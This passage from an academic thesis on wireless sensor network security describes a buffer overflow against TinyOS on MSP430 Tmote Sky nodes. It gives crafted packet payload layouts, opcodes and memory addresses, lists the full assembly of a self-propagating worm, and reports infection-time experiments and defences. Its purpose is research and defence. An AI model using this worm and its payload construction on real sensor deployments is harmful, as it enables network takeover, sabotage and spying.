attack is discovered, all the other nodes will be vulnerable to the same attack.

We also assume that sensor nodes are loaded with a simple C-based operating system, like

TinyOS (165), which uses the NesC programming language. This allows us to look for well known

buffer overflow techniques, since code safety is not considered in such systems. The use of Java in

other paradigms seems more secure, as it provides built-in protections against code-based attacks

that would exploit array boundaries, unchecked cast, pointer arithmetics, etc. Also, the virtual

machine examines compliance of incoming code with the Java standards before execution (166).

Still, TinyOS is the most widely adopted operating system in sensor networks, as it is extremely

lightweight for such constrained devices.

6.4 TI MSP 430 Architecture Overview

The platform targeted in this attack is the MoteIV Tmote Sky (5), as it is one of the most widely

used platforms in WSNs. However, any platform following the Von Neumann architecture falls

prey to similar attacks. The Tmote Sky module uses the ultra low power TI MSP 430 F1611

microcontroller (55) featuring 10 KB of RAM, 48 KB of flash, 128 KB of information storage, and

an IEEE 802.15.4 compliant wireless transceiver (56). It features one common address space shared

with special function registers (SFRs), peripherals, RAM and Flash Code memory.

As we can see in Figure 6.1, the total RAM memory consists of two separate memory modules:

lower RAM (0200 - 09FF ) and upper RAM (1100 - 38FF ). However, since it must be comprised
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of consecutive blocks of address space, the lower RAM module is not actually used by the micro-

controller and its contents are mirrored inside a specific area of the upper module. Thus, the actual

RAM usable by the CPU really starts at address 1100 and it is contiguous.

Interrupt Vector

Flash Code Memory

Extended RAM (8K)

Mirrored RAM (2K)

Information Memory

Boot Memory

RAM

Peripherals

Heap

Stack

FFFF

FFE0

4000

1900

1100

1000

0C00

0200

256 bytes of Data Flash

1024 bytes of Bootstrup loader
ROM

.

0A00

.

.

Figure 6.1: Memory map of the MSP430
controller.

The internal extended RAM memory implements

two main data structures: stack and heap. The stack is

responsible for storing data and the return addresses of

subroutine calls and interrupts. It starts at the top

of the memory and grows downwards. The special-

purpose register R1 is the stack pointer, which at any

given time points to the last value placed on the stack.

Values are pushed as 16-bit words and after each push

the stack pointer is decremented by 2. Correspondingly,

as values are pulled from the stack, the stack pointer is

increased by 2.

The heap is the area of memory used for dynamic

allocation and grows upwards from the bottom of mem-

ory. However, since TinyOS does not support dynamic

allocation of memory during runtime, the address re-

gion between the heap and the stack will be empty and

unused during program execution.

The main Flash memory is always at the highest ad-

dress (FFFF ). It can be used for storing both code and

data. It also contains the interrupt vectors along with

the power-up starting address. Each vector contains

the 16-bit address of the appropriate interrupt-handler

instruction sequence. The boot memory is an unalter-

able masked ROM containing the serial bootloader. It

is actually a factory set program to erase and reprogram the on-board flash memory.

6.5 Challenges of Code Injection Attacks on Sensor Devices

Buffer overflows are a leading type of security vulnerability. They occur when a malformed input

is being used to overflow a buffer, overwriting the return address that is stored on the stack. In

this way control can be transferred to code placed either in or past the end of the buffer (167).
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Even though it is possible to inject and execute malicious code to a platform featuring the Von

Neumann architecture, one has to consider several factors in order to launch the attack successfully.

First, since code injection attacks are based on changing the flow of control in a program, this may

lead the sensor to restart itself or go into an unstable state, where further execution of the attack

code is canceled. Furthermore, sensor nodes characteristics and constraints limit the capabilities

of an attacker, who may want to send large blocks of code that exceed the allowed packet size. For

example, TinyOS sets the default maximum size of packet payload to be 28 bytes (can be increased

up to 102 bytes). Thus, in order to send a meaningful piece of code, one has to break it down and

send it through multiple packets.

We should also stress that it is best for the whole attack code to reside in a contiguous memory

region so that it can be executed without any disruptions. Therefore, the attacker must perform

a “multistage buffer-overflow attack” (more details can be found in Section 6.7), where she can

manipulate an arbitrary address pointer and modify the data it points to. Then by sending a

number of packets containing consecutive blocks of code and copying them into the memory space

where this pointer shows, she can create a contiguous region containing the attack code.

6.6 Buffer Overflow Description

Since sensor devices are based on a very different memory architecture than commodity embedded

devices (168), it is reasonable to question how such a memory vulnerability can be exploited by an

attacker. Two issues need to be addressed in order to understand how stack-based buffer overflows

can be performed on sensor networks.

• How the attack code is sent and stored on sensor nodes. As described previously, in the

MSP430 family of processors, both code and data memories share a common address space.

Therefore, a block of the attack code can be sent as data payload of a message and stored

into memory as a piece of data. Exploitation of buffer overflow attacks may then result

in alteration of programs execution control flow since in order for a received packet to be

processed, a memory buffer is needed.

• Where the attack code is stored. Since TinyOS doesn’t support dynamic memory allocation,

all needed memory for data storage, variables, functions, etc. is allocated automatically

during compilation. Thus, for a specific program image and hardware platform, memory

addresses reserved for particular operations will be the same. Sending a piece of malicious

code in the payload of a message will result in being stored as data at the memory address

designated for storing received packets.
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In this work, we focus on stack-based buffer overflow attacks that redirect control flow by

“smashing” the stack, which was created when a vulnerable function was called. If it succeeds,

it will cause the return address of this function to be overwritten and eventually the instruction

pointer will point to the location of the injected code and start executing it. Hence, the exploitation

technique needs to provide an arbitrary return address that will replace the already existing one.

In our case, this address is the one reserved by the compiler for storing the payload of a received

packet. Goodspeed, was the first that observed the effectiveness of such an exploitation in MSP 430

microcontrollers, by changing the program counter to point to the address where received packets

are stored (159, 160).

ADDRreceive

Stack frame
of strcpy

Stack frame
of receive

...
ReceiveMsg.receive

pRP

received_buff

strcpy

(TOS_MsgPtr msg) {
radio_message_t * =

(radio_message_t *) msg data;

//
uint8_t [BUFFER_LENGTH];
//

(received_buff, pRP data);

return msg;
}

->

->

BUFFER_LENGTH=2  (global var)

copy payload to a buffer (vulnerability)

ADDR

pRP
received_buff[2]

prev

ADDRattack

...

ADDR

pRP
dead

prev

Before overflow After overflow

Figure 6.2: Stack frames before and after buffer overflow.

In the remainder of this section, we show how the stack can be manipulated in order for the

attacker to execute malicious code residing at the memory space of a received packet. We assume

that the sensor node has a routine for processing received packets and that this routine has a

vulnerability, as shown in Figure 6.2. Upon reception, it copies the contents of the packet payload

into the array received buff, using the standard C strcpy method. If the length of the payload

data exceeds BUFFER LENGTH, a buffer overflow occurs.

Each time a routine method is called, a stack frame is created for storing temporary data and

the return address ADDRprevious of the caller function, as we mentioned in Section 6.4. The routine

will contain an instruction sequence that ends with a ret command for fetching this address from

the stack and, so, control returns to the caller function. For our reception routine, a stack frame of

6 bytes will be created, as shown in Figure 6.2; two bytes for the message pointer pRP, two bytes for

the array received buff, and two more bytes for storing the return address. Below this stack frame

resides the stack frame of the strcpy subroutine call. This contains ADDRreceive, which points to
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the next instruction of the receive function that must be executed after strcpy returns. This is the

address that will be overwritten during the buffer overflow attack.

To initiate the attack, the attacking node broadcasts a packet, the data field of which contains

the attack code to be executed and the address ADDRattack of that code inside the packet. Two

extra dummy bytes in the string (i.e., dead) are needed in order to overflow the received buff

array and overwrite the return address ADDRreceive. Let us note that MSP430 microcontroller

architecture requires that the attack code must be evenly aligned, otherwise the sensor resets itself.

For the same reason, address ADDRattack must point exactly to the first instruction of the attack

code, within the stored packet.

The contents of the stack right after the execution of the strcpy function are illustrated in

Figure 6.2. Thus, sending a packet with an appropriate string in the data payload will change the

2-byte return address of a receiving sensor (ADDRreceive) to the address ADDRattack. This will

lead the instruction pointer to continue the program execution where the attack code resides in

program memory.

Although this attack can be really dangerous for the sensor’s vitality, it limits the attacker with

regards to the length of the attack code that can be executed, as we said in Section 6.5. The set

of malicious instructions is limited to the length of the message payload. In the section below, we

will explain how a buffer overflow can be integrated into a non memory-constrained code injection

attack where the attacker sends malicious code of arbitrary length.

6.7 Exploiting Buffer Overflow for Code Injection Attacks

In order to send arbitrarily long blocks of code, we are using the “multistage buffer-overflow at-

tack” (169, 170). Multistage buffer-overflow is a type of attack that requires several steps of buffer

overflow. It allows the attacker to manipulate an arbitrary address pointer and modify the data

it points to. So, by sending a number of specially crafted packets that result in consecutive buffer

overflows, the attacker has the ability to copy malicious code from one memory location (payload

of received message) to another (region pointed by the selected address pointer), and eventually

have her attack code stored in a contiguous memory region, starting from a memory address of

her choice. This type of attack will bypass the limitations of a single buffer overflow, in which the

length of the attack code cannot exceed the size of a message payload.

Fundamental to this attack is that we define an address pointer, namely ADDRcopyTo, which

points to a memory region that is both writable and unused. Unused means that the address space

referring to this memory region is not used by the program during its execution and therefore

cannot be altered. This is important since the attack code must remain unaffected and not get
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overwritten by any program data. As we described in Section 6.4, such a memory space can be

found in the MSP 430 microcontroller between the stack and the heap. This address space is the

target region for an attacker to store the malicious code.

Since this region is unused by the running application, it is also unaffected by possible reboots

of the sensor node. Thus, once the attacker injects her code into a sensor node, the code will

remain there throughout the lifetime of the sensor node. For the case of a Tmote Sky sensor

device, we found that a suitable target region starts at address 0x2574 and grows upwards. Let us

now overview the steps of a multistage buffer-overflow attack, before we get into details:

1. The attacker sends a specially-crafted packet to the target node that, through buffer overflow,

redirects its normal execution to the address of the payload. This results in copying a block of

malicious code to the region pointed by the target address ADDRcopyTo. The last instruction

within the packet’s payload restores the normal state and program flow of the sensor node.

2. Step 1 is repeated n times, where n is the number of packets needed for injecting the whole

attack code into the sensor. At each repetition, an appropriate offset is added to the target

address ADDRcopyTo, in order for the code to reside in consecutive memory addresses.

3. When transmission of the code is finished, the attacker sends one last specially-crafted packet

that redirects the control flow to the beginning of the malicious code in the target region, so

that it can be executed.

Being aware of the steps that an attacker must follow, two major aspects of a multistage buffer-

overflow attack need to be addressed: (i) how to craft the malicious packets so that we can restore

the program flow and be able to send more packets, and (ii) how to update the target pointer so

that malicious code is copied in consecutive memory locations. We show how to achieve each of

these steps in separate sections below.

6.7.1 Composition of Crafted-Packet Payload and Restoration of Program Flow

When a buffer overflow occurs, it brings the sensor device to an inconsistent state. However, since

the first step of the multistage buffer-overflow attack must be repeated n times, it is important

to restore the control flow, as if program instructions were executed normally. Otherwise, further

reception of malicious packets will not be possible. So, after the successful completion of a buffer

overflow, a malicious packet needs to further alter the program flow in order to re-establish con-

sistent state. This means that an intermediate packet must also contain a specific instruction that

will be executed last and it will restore the program counter.
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Payload

Part 1
(6 bytes)

dead

ADDR

0000

attack

4030

2574

4030

2576

4030

2578

f0f2

ffde

0031

4030

ADDRreceive
MOV #f0f2, &2574

MOV #ffde, &2576

MOV #0031, &2578

BR #ADDRreceive

Part 1 Part 2 Part 3

Part 2
(18 bytes)

Part 3
(4 bytes)

Figure 6.3: Malicious packet payload.

The MSP430 assembly language has dedicated instructions for setting the contents of an address

to a specific value and for manipulating the program counter. These are the MOV and BR instructions,

respectively, as shown in Table 6.2. They have unique 2-byte op-codes decoded by the CPU. Since

src and dst operands are defined as data words, they can carry 16-bit values. This means that each

MOV instruction can copy 2 bytes of the attack code to the target region.

Table 6.2: MSP430 assembly code instructions

Instruction Opcode Description

MOV src, dst 0x40b2 Source operand is moved to the destination.
BR dst 0x4030 Branch to an address anywhere in the 64 K address space.

So, the malicious packet will consist of a sequence of MOV instructions followed by a final BR

instruction. Their purpose is to copy bytes of the attack code residing in the payload to the target

region and restore control flow of the program. Let’s assume that the payload of a packet is set

to its default maximum size of 28 bytes1. As we described in Section 6.6, 6 bytes overall (dead,

ADDRattack and 0000) are needed for overflowing the received buff of the reception routine and

overwriting the return address with the starting address of the malicious code. Data bytes 0000

are used as the terminating character for stopping the buffer overflow and prevent further damage

of the stack. The remaining 22 bytes are used for carrying the attack instructions to be executed.

Since we also need a BR instruction that requires 4 bytes, 18 bytes are actually left for sending the

necessary MOV commands. Therefore, with each malicious packet, a 6-byte block of the attack code

can be copied to the target region.

1This is the worst case for an attacker, since as we mentioned in Section 6.5, the actual maximum payload size of
a message can be increased up to 102 bytes for radios compliant to IEEE 802.15.4, as it is the case with our example
platform.
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As illustrated in Figure 6.3, the payload consists of three parts. The first part provides the

data for buffer overflow, as well as the attack address ADDRattack, at which the control flow is

directed when the exploited vulnerable function returns. The second part provides the necessary

MOV instructions for copying the 6 bytes of the attack code to the target region. Finally, the third

part provides the BR instruction for restoring the control flow. This is accomplished by setting the

program counter to point to the address where the execution would normally return to, after the

receive function, i.e., ADDRreceive.

For the example shown in Figure 6.3, the 6 bytes of the attack code are designated in bold.

These specific bytes correspond to the first instruction of the code instance shown below. Its

(malicious!) functionality simply turns on the green LED of a sensor node.

AND.B #ffde,&0031

BIS.B #2, &125e

The target region, where the malcode bytes are copied, starts at address 0x2574. Following the

same process, the whole malware can be installed in the target region. Once this is done, it can

be activated by a final buffer overflow exploit. A malicious packet is sent containing only one BR

instruction for redirecting the program counter to point to the starting address of the malicious

code, 0x2574.

6.7.2 Updating the Target Pointer

Fundamental to a multistage buffer-overflow attack is the observation that the attack code must

reside in a contiguous memory region. Otherwise, activation of this code may lead the sensor node

to an unstable state and cause it to reboot itself. This issue is resolved through the use of a target

pointer. Initially, this pointer is set to the beginning of the unused memory region where the attack

code will be stored. In our case, this address is equal to 0x2574. Every time a MOV instruction is

executed, a 2-byte block of the malicious code will be copied to the memory location pointed by

ADDRcopyTo.

When a memory injection packet is received by a sensor node, a buffer overflow occurs. After

the successful completion of this attack, the MOV instructions of the packets payload will be executed

and copy k bytes (k is multiple of 2) of code to the target region. These bytes must be stored in k
2

consecutive memory addresses, starting where the ADDRcopyTo points at the time. Thus, after a

MOV operation, the target address must be incremented by 2 in order to point to the next memory

address.

For example, the malicious packet payload that was constructed in the example of the previous

section contained 3 MOV instructions (Figure 6.3). As this was the first packet to be sent, the
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Algorithm 5: Incrementing target address
Data: Part 2 of the malicious packet payload
begin

for each MOV instruction do
MOV src, ADDRcopyTo

ADD #2, ADDRcopyTo

end
end

ADDRcopyTo pointed to address 0x2574. An overview of how the target address is incremented

after each MOV operation is shown in Algorithm 5.

6.7.3 Control Flow of the Code Injection Attack

This section summarizes the program’s control flow during the progress of a multistage buffer-

overflow attack. As described previously, a number of packets need to be sent for the whole attack

code to be copied in the target region. Figure 6.4 illustrates the execution flow upon reception of

the k-th malicious packet. It also shows the specially-crafted packet sent at the end of the attack

for activating the injected malware. Details of the operations that take place are provided below:

1. Vulnerable function strcpy() is called from the reception routine.

2. A buffer overflow occurs resulting in the overwrite of the return address (ADDRreceive), stored

in the stack frame of the strcpy(), with the starting address ADDRattack of the attack code.

ADDRattack points to the MOV instructions contained in the packet’s payload.

3. When strcpy() finishes its execution, control flow is redirected to ADDRattack memory ad-

dress.

4. MOV instructions are executed for copying malcode bytes to consecutive memory addresses

starting from where the target pointer (TP) points at the time.

5. The BR instruction that occupies the last 4 bytes of the malicious packet payload is executed

in order to restore program’s control flow.

6. Program execution continues normally. This is accomplished by setting the program counter

to point to ADDRreceive memory address of the receive function.

7. Once the attack code is stored in the target region, the last specially-crafted packet is sent for

activating it. Its payload contains a BR instruction that is executed for setting the instruction

pointer to the starting address of the target region, ADDRstartTR (in our case 0x2574).
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Figure 6.4: Control flow under multistage buffer-overflow attack.

6.8 Dissemination of Attack Code - Worm Construction

Taking code injection one step further, this section describes how the injected malware can self-

propagate, i.e., be converted into a “worm”. Clearly this is a serious threat (171), if not the most

dangerous one, since the attacker can compromise the entire sensor network by infecting just a

single node. When a worm is injected to a sensor, it launches a program for broadcasting itself to

other neighboring nodes, infecting them as well. At no time does the worm need user assistance

in order to spread its “infection”. All interconnected nodes are at risk of the attack, as the worm

travels over the air and propagates hop by hop.

The main idea is that once the malware is installed, it launches another multistage buffer

overflow attack, this time targeting the neighboring nodes. For this purpose, it builds a number

of memory injection packets that contain its own code and broadcasts them using the host’s radio.

The injected code consists of two parts. The first part provides the necessary instructions for

further disseminating the whole attack code. The second part contains the malicious code that was

added by the attacker, in order to take control of the infected sensor node.
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Table 6.3: Arguments of Transmission Task

Argument Description Register

addr Destination address R15
length Size of payload R14
*msg Message R13

Once activated, the worm will break down the injected code into malicious packets and start

broadcasting them. Each time it needs to send a packet, it has to use a transmission function in

the infected sensor. One such function that is widely used in sensor applications is the SendMsg

routine of the GenericComm component:

GenericComm$Send$SendMsg(uint32 t addr, uint8 t length, message t *msg )

In order to invoke the above transmission function, the malware needs to provide specific ar-

guments that are passed through general purpose registers. The GenericComm$Send$SendMsg

function actually posts the transmission task CC 2420RadioM$PacketSent$runTask that also re-

quires 3 arguments. As shown in Table 6.3, the arguments are passed via registers R13 to R15.

When the transmission function is called, it loads the necessary data arguments from the cor-

responding registers and posts a task to the TinyOS scheduler. This task is actually a deferred

procedure call. At some point later, the scheduler will run this task through the runTask routine

that will invoke the CC 2420RadioM$PacketSent$runTask event with the passed parameters. Since

the call of the transmission function is done manually through the attacker’s code, the malware

is also responsible for the invocation of the runTask routine. In Section 6.8.1, we will cover the

details of the above described instruction sequence that is contained in the malware and how it is

executed by the scheduler.

After having propagated itself successfully, the execution of the attack code proceeds to the

second part of the core sensor worm functionality. This includes instructions for taking over the

infected sensor node or stop its execution. Examples of what an attacker can do, are listed below:

1. Bring down the entire network by sending a signal to the sensor node for stopping its execu-

tion. This is achieved by setting the instruction pointer to the beginning of a special function,

which can be found in every sensor device loaded with an executable program image, and call

stop program execution.

2. Create a malicious procedure for draining node battery, or compromising the security level

of the network by conducting erasing actions for memory and cryptographic keys.
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Table 6.4: Important Memory Addresses

Memory Address Description

ADDRstartTR Address containing the first instruction of the attack code.
ADDRattack Address where the payload of a received packet is stored.
ADDRpacketSent Address of the mal-packet to be sent.
ADDRpayloadSent Address of the mal-packet’s payload.
ADDRreceive Address pointing to the instruction of the reception routine

that must be executed after the vulnerable function returns.
ADDRsend Address of the transmission function.
ADDRtask Address of the runTask routine.
ADDRendTR Address containing the last instruction of the attack code

3. Tell the sensor node to report back vital information, like its neighbor IDs, data structure of

the network messages, or any possible stored keys etc. The exposure of such information can

lead to the total break down of the networks operation. Such a threat falls into the category

of spying and its effects will be extensively studied in Chapter 7, where we present a spyware

tool based on malicious code injection.

4. Add new functionalities to the already existing ones. This will allow the sensor node to carry

out the attacker’s tasks without disrupting its normal functionality.

Note that the above described actions are only a subset of what an attacker can actually do.

Once the worm has infected the whole sensor network, its administration passes to the attacker’s

hands.

6.8.1 Implementation Details

In this section, we present the complete code of the sensor worm that we have implemented. For

demonstrating its feasibility, we load the sensor nodes with an application that just reports sensor

readings to the base station. The sensor application has a vulnerable reception routine that copies

the packet payload into a buffer without checking its boundary, as shown in Section 6.6.

The code needed for self-propagation occupies 166 bytes, whereas the malicious code that is

added by the attacker is of arbitrary length. Thus, at least 28 packets are needed for injecting

the attack code into the unused memory region. Once the code is injected, it is activated and

broadcasts itself by invoking the transmission function in the infected node.

Table 6.4 lists some important memory addresses that are used by the worm. As described in

Section 6.7, ADDRstartTR is the beginning address of the target region, where the attack code will

be stored and, in the case of a Tmote Sky sensor device, is equal to 0x2574. The values of all other
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Algorithm 6: Sensor Worm Assembly Code
Data: Memory addresses of Table 6.4
begin

1. MOV #ADDRstartTR, R5; 21. MOV #ADDRpacketSent, R13;
2. MOV #0, R6; 22. MOV.B #length, R14;
3. MOV #(ADDRpayloadSent + 6), R7; 23. MOV #addr, R15;
4. MOV R5, R8; 24. CALL #ADDRsend;
5. MOV #dead, &ADDRpayloadSent; 25. MOV #0, R9;
6. MOV #ADDRattack, &(ADDRpayloadSent + 2); 26. MOV.B #1, R15;
7. MOV #0000, &(ADDRpayloadSent + 4); 27. CALL #ADDRtask;
8. MOV #40b2, 0(R7); 28. INC R9;
9. ADD #2, R7; 29. CMP #4, R9;
10. MOV @R8, 0(R7); 30. JNC -14;
11. ADD #2, R7; 31. ADD #6, R5;
12. MOV R8, 0(R7); 32. CMP #ADDRendTR, R5;
13. ADD #2, R7; 33. JNC -114;
14. ADD #2, R8; 34. Repeat instructions 5-7;
15. INC.B R6; 35. MOV #4030,
16. CMP.B #3, R6; &(ADDRpayloadSent + 6);
17. JNC -30; 36. MOV #ADDRstartTR,
18. MOV #4030, 0(R7); &(ADDRpayloadSent + 8);
19. ADD #2, R7; 37. Repeat instructions 25-30;
20. MOV #ADDRreceive, 0(R7);

ARBITRARY MALICIOUS CODE

end

memory addresses depend on the binary representation of the program image that is loaded in the

sensor node. For the example of our implemented application, these values were found by looking

into the memory of a sensor using the JTAG interface provided by the MSP430 microcontroller.

Algorithm 6 contains the complete code of the sensor worm. Detailed explanation of the in-

struction sequence is provided in Table 6.5 that shows the block structure of the code and the

functionality of each block.

As we can see, the malware is a chain of instruction sets (IS) each one of them designated for

a specific operation. Instructions 2 − 17 constitute an IS for creating the payload of a malicious

packet to be sent, as described in Section 6.7.1. This is achieved by setting appropriate values to

the memory addresses pointing to the payload starting from address ADDRpayloadSent.

Instructions 18− 24 are the first part of the IS responsible for broadcasting a malicious packet.
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Table 6.5: Functionality of Instruction Sets

Instruction Set Description

2-17 Construction of the mal-packet payload.
18-24 Invocation of the transmission function.
25-30 Invocation of the runTask routine.
1-33 Repetition of the above instruction subsets as many times as

needed for dissemination of the whole attack code.
34-37 Construction and transmission of the specially crafted packet for

redirection of control flow.

It calls the transmission function which resides in address ADDRsend in the program memory. As

mentioned previously, the invocation of such a function requires the upload of proper arguments

through registers R13 to R15. Instructions 21− 23 are intended for exactly this purpose. Contin-

uing to the second part of this IS, instructions 25 − 30 call the runTask routine that invokes the

CC 2420RadioM$PacketSent$runTask task for actually broadcasting a malicious packet. The above

instruction sets are repeated as many times as needed for the whole malware (stored in address

space bounded from ADDRstartTR to ADDRendTR) to be disseminated to the node’s neighbors.

Finally, instructions 34− 37 construct and send the specially-crafted packet for redirecting control

flow to the beginning of the target region.

6.9 Performance Evaluation

In order to judge the performance of our worm we evaluated, on real Tmote Sky sensor devices,

the time needed for the worm to infect all nodes in the neighborhood of the attacker. The goal is

to justify the practicality of the proposed implementation from a real deployment point of view.

As the worm will propagate in waves, infecting one neighborhood after the other and many nodes

in parallel, this will give us a better feeling of what to expect on large scale networks (these have

be examined more thoroughly in (172)).

The experiments were conducted by deploying a varying number of nodes and averaging the

results over 20 different runs. We designated a node as the “attack source” who started the infection

by injecting the malware to its neighbors. Network nodes were running a typical monitoring

application (Delta), as discussed in Section 6.8.1. We set the size of inserted malicious code to

be 28 bytes. Note that the fixed length of self-propagation code (166 bytes) is also taken into

consideration in the results.

Since the worm propagates itself through message transmissions, it is reasonable to mention

that its dissemination depends upon successful broadcasts. However, this is not guaranteed, as
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Figure 6.5: Infection time and Packet loss for different packet rates at the application (Delta) and
routing (MultihopLQI) layer when the malicious code is 28 bytes. (a) Delta(5 sec) - MultihopLQI(5
sec). (b) Delta(5 sec) - MultihopLQI(30 sec). (c) Packet Loss for case (a). (d) Packet Loss for case (b)

packets may get lost due to traffic overhead and channel collisions. That is why we performed the

experiments having the aggregative data rate of packets at the routing and application layer taken

into account. More specifically, we loaded the Delta application, where the motes can be used to

report environmental measurements to the base station in user defined intervals; in our case every

5 seconds. We also deployed the MultihopLQI protocol at the routing layer (Chapter 4) which, by

default, is tuned to send control packets and routing information every 30 seconds. Our goal is to

demonstrate the propagation delay of the sensor worm, even under the presence of heavy traffic on

other layers.

Figures 6.5 (a) and (b), respectively, depict the time needed by the worm to infect all the nodes

residing in the neighborhood of the “attack source” for increasing data rate of packets and average

density (i.e. neighborhood size) d varying between 4 and 15. This increase actually corresponds
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to different packet rates for Delta and MultihopLQI; for Figure 6.5 (a) they were both tuned at 1

packet per 5 seconds, whereas for Figure 6.5 (b) they were tuned at 1 packet per 5 seconds and 30

seconds, respectively.

What we can infer from these figures is that the propagation delay is low and depends on

the success or failure of the broadcast transmissions. When the injected malware is activated, it

broadcasts itself by initiating a transmission sequence of all needed malicious packets. Note that the

radio component of a neighboring node to be infected may not be ready (or occupied) at that time

and thus some of the malicious packets may not be received. Furthermore, a radio transmission

may interfere with other signals and fail. Hence, a node might miss to receive a number of malicious

packets1. This can result in the addition of an extra delay, since the node will receive the missing

packets from subsequent transmissions of its infected neighbors.

As more and more packets are sent and received from a node, an increase to the packet loss is

unavoidable. This can be seen in Figures 6.5 (c) and (d), where the average packet loss, for the

above described scenarios, is illustrated. When the traffic in a neighborhood is heavy (i.e. Delta and

MultihopLQI transmit packets every 5 seconds), the number of lost malicious packets is relatively

high. This results in an overall increase of the infection time since some of the nodes will have

to wait for later transmissions in order to receive all the worm packets. It also explains the high

variance seen in the propagation delay, as it is proportional to the number of needed transmission

sequences.

We should stress, however, that these figures depict what happens when we focus at each

neighborhood and “isolate” it from the remaining network, for densities ranging from 4 nodes

(sparse networks) to 15 nodes (dense networks). The increased time for larger neighborhood sizes

may seem counterintuitive at first since the attacker node still broadcasts its malicious payload and

one expects more (if not all) nodes to be infected at once. As, we explained, this is due to the

increased number of collisions and missed packets. This also means that nodes in a neighborhood

will not be infected in a single round but in more than one, accounting for the increased infection

time. This is the reason why dense neighborhoods exhibit such a bad behavior. Does this mean,

however, that dense networks will need more time to be infected? The answer is no!

In the network level, things improve dramatically since spreading of infection will start as soon

as a node gets infected. This is due to the effect of random worm propagation. This effect allows

parallel transfers of data, thus it is possible for a number of nodes that reside in different regions

of the network to receive different copies of the worm (see also (172) for more on this). Thus, the

1We believe that inserting a more reliable transmission mechanism will reduce the number of lost malicious
packets and drop the delay further. In future work, we plan to add code instructions that will enable the worm to
re-broadcast missed packets, if necessary.
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time needed to infect an entire network really depends on the number of hops required to reach

the most distant nodes, as this determines the number of intermediate transmissions. But then,

this number is inversely proportional to the density of the network. Overall, the infection time of

the worm is relatively small, making the applicability of detection measures a rather hard task to

achieve.

6.10 Defense Measures

A defensive mechanism against worm attacks can be the use of a diversified protection scheme,

which diversifies data and code by creating different and obfuscated data and code segments for

each node in the network (173). Therefore, the attackers’ effort on compromising one node cannot

reduce their efforts on compromising another node, as different versions of the same functionality

will not have the same vulnerability for the attacker to exploit. This approach is followed by Yang

et al. (171), who showed that by assigning each sensor an appropriate version of software among a

limited number of versions, the survivability of sensor networks under worm attacks is significantly

increased. However, this method also restrains significantly the legitimate functionalities of sensor

networks, such as network programmability, that allows nodes to reprogram themselves with new

code updates disseminated remotely, over the air, to the entire network.

A different class of defensive measures is to ensure program safety at run time. For example

Safe TinyOS toolchain (174) inserts checks into application code and when it detects that safety is

about to be violated, it takes action and keeps errors from cascading into random consequences. In

this way it ensures that array and pointer errors are caught before they can corrupt RAM. Another

example is Harbor (175), which uses software-based fault isolation to enforce restrictions on memory

accesses and achieve memory protection. In particular, it uses an additional safe stack to preserve

the integrity of control flow within and across modules. Even though the above schemes can protect

application modules from each other or themselves, an attacker can still look for vulnerabilities into

system routines not included in the modules, in order to evade these schemes (161).

A reactive measure against worm dissemination can be software-based code attestation. For

example, SWATT (176) enables an external verifier to verify the code of a running system to detect

maliciously inserted or altered code, without the use of any special hardware. A similar protocol

was presented by Seshadri et al. (177) which is based on indisputable code execution techniques

for establishing a trusted code base in the hostile environment of sensor networks. However, this

approach uses the base station as the entity that verifies the code memory contents of remote

nodes. Yang et al. (178) took this approach one step further allowing other sensor nodes play the

role of the verifier and alert the rest of the network in case an infected node is detected. To apply
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such a mechanism for worm detection, however, one needs to find ways for the verifiers to become

suspicious that a worm is being propagated into the network.

6.11 Conclusions

In this chapter, we explored a new set of memory related vulnerabilities in sensor networks that can

be used by an adversary for performing a software-based attack. We presented how she can inject

arbitrary long code into the program memory of Von Neumann-based sensor devices. The attack

can be used to add new (malicious) functionalities to sensor nodes (i.e. have the nodes report back

vital information) or simply shut down the entire network.

Our attack breaks the malicious code into multiple packets and sends them through radio to

the sensor node, where through a multistage buffer overflow it is permanently stored and executed.

We have also described how the malicious code can be crafted such that it replicates itself after

execution on the mote and propagates to the rest of the network, making it the first instance of a

self-replicating worm that can execute arbitrary code as opposed to any previous work in this area.

We have illustrated this attack by sending different sizes of malicious code on Tmote Sky sensors

and demonstrated the feasibility of taking over the entire network one node at a time. We have

also presented an evaluation of the worm’s propagation time in order to show that the infection

of dense networks takes up only a short amount of time. This, in turn, makes the applicability of

detection mechanisms a rather hard task to achieve.

Even though research in worms against several types of networks has increased significantly

over the last years, existing literature in sensor networks is quite limited. However, as we described

in the previous sections, their effects on the network itself can be destructive. Indeed, as we will

demonstrate in Chapter 7, an adversary can use malicious code injection techniques for injecting

various spyware exploits in the sensor nodes; another severe threat that is often overlooked in the

design of secure sensor network applications.

Therefore, in order to establish better security mechanisms for such networks, it is essential to

investigate in depth the “best” ways for launching already existing attacks and demonstrate new

ones in practice. That is why, in the next chapters, we present the first instances of attack tools that

can be used by an adversary to penetrate the confidentiality and functionality of a sensor network.

By publishing such tools, we wish to shed light on revealing the weaknesses of the underlying

protocols that are most widely used by sensor networks research community. We expect them to

be used proactively for enhancing the level of security of any future proposed security system.
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Chapter 7

Spy-Sense: Spyware Tool for
Executing Stealthy Exploits against
WSNs

7.1 Introduction

In the previous chapter, we investigated in depth a new set of memory related vulnerabilities that

can be exploited by an adversary for penetrating the security profile of a wireless sensor network.

We showed how she can manipulate the existence of a software-based hole (i.e. buffer overflow)

for smashing the call stack and intruding a remote node over the radio channel. Then, she can

inject malicious programs in order to take full control of a node, change and/or disclose its security

parameters upon will. As a result, an attacker can completely hijack the network and monitor its

activities.

Continuing our work on studying this new threat model (from the attacker’s point of view),

we move one step further and show how an adversary can perform a code injection attack for

permanently injecting spying exploits in the remote nodes. Spying is an invasion of privacy that

can lead to serious repercussions if the data collected lands into unscrupulous hands. Therefore,

it constitutes a severe threat that is usually overlooked in the design of secure sensor network

applications. As most works try to defend against adversaries who plan to physically compromise

sensor nodes and disrupt network functionality, the risk of spyware programs and their potential

for damage and information leakage is bound to increase in the years to come.

Motivated by this unexplored security aspect, in this chapter we demonstrate Spy-Sense, a

spyware tool that can be useful not only in highlighting the importance of defending sensor network

applications against permanent code injection attacks but also in studying the severity of their

effects on the sensor network itself. This in turn can lead to the development of more secure

applications and better detection/prevention mechanisms.
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Spy-Sense allows remote injection, through specially crafted messages, of various code exploits

in the heart of each node in a sensor network. Once injected, it is undetectable, hard to recognize

and get rid of (as it remains idle in an unused memory region), and when activated, it runs in a

discrete background mode without interfering or disrupting normal network activities. It gives an

attacker the ability to threaten network security through the execution of injected stealthy exploits.

Exploits are sequences of machine code instructions that cause unintended behavior to occur on

the host sensor (more information can be found in Section 7.4).

The intuition behind this work is to introduce the notion of spyware programs in sensor networks

and highlight their disastrous effects on their security profile in terms of functionality, content and

transactional confidentiality. Content confidentiality is to ensure that no external entity can infer

